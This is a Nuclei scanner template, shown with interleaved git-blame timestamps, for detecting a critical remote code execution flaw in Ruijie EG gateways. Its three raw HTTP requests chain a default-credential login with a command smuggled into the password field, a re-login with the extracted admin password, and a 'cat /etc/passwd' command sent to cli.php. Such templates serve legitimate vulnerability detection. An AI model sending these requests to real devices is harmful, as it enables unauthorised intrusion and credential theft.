2021-08-06 10:04:32 +00:00
id : ruijie-eg-rce
info :
2022-06-03 19:12:31 +00:00
name : Ruijie EG - Remote Code Execution
2021-08-06 10:04:32 +00:00
author : pikpikcu
severity : critical
2022-06-03 19:12:31 +00:00
description : Ruikie EG's cli.php end point allows remote unauthenticated attackers to gain 'admin' privileges. The vulnerability is exploitable because an unauthenticated user can gain 'admin' privileges due to a vulnerability in the login screen.
2021-08-19 14:00:46 +00:00
reference :
2021-10-25 06:57:47 +00:00
- https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/PeiQi/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7EG%E6%98%93%E7%BD%91%E5%85%B3%20cli.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
2021-08-19 14:00:46 +00:00
- https://www.ruijienetworks.com
2022-06-03 19:12:31 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
2023-10-14 11:27:55 +00:00
cvss-score : 10
2022-06-03 19:12:31 +00:00
cwe-id : CWE-77
2023-04-28 08:11:21 +00:00
metadata :
max-request : 3
2023-10-14 11:27:55 +00:00
tags : ruijie,rce
2021-08-06 10:04:32 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-08-06 10:04:32 +00:00
- raw :
2021-08-06 18:00:34 +00:00
- |
POST /login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
username=admin&password=admin?show+webmaster+user
- |
POST /login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
username=admin&password={{admin}}
2021-08-06 10:04:32 +00:00
- |
POST /cli.php?a=shell HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded;charset=UTF-8
notdelay=true&command=cat /etc/passwd
matchers-condition : and
matchers :
- type : regex
regex :
2022-03-22 08:01:31 +00:00
- "root:.*:0:0:"
2021-08-06 18:00:34 +00:00
- "nobody:.*:0:0"
2021-08-06 10:04:32 +00:00
part : body
- type : status
status :
- 200
2021-08-06 18:00:34 +00:00
extractors :
- type : regex
name : admin
group : 1
internal : true
regex :
2022-05-06 15:39:20 +00:00
- 'admin ([a-zA-Z0-9#@]+)",'
2023-11-27 10:10:24 +00:00
# digest: 490a00463044022061b3ed849fb79c2dc3f2432d2b5168b2addf5c51cdc4c1e8bbfecf007373c92102207518c42626017f1a00ea637d89dadd51d499d220f049150a0b049ce57bc497e7:922c64590222798bb761d5b6d8e72950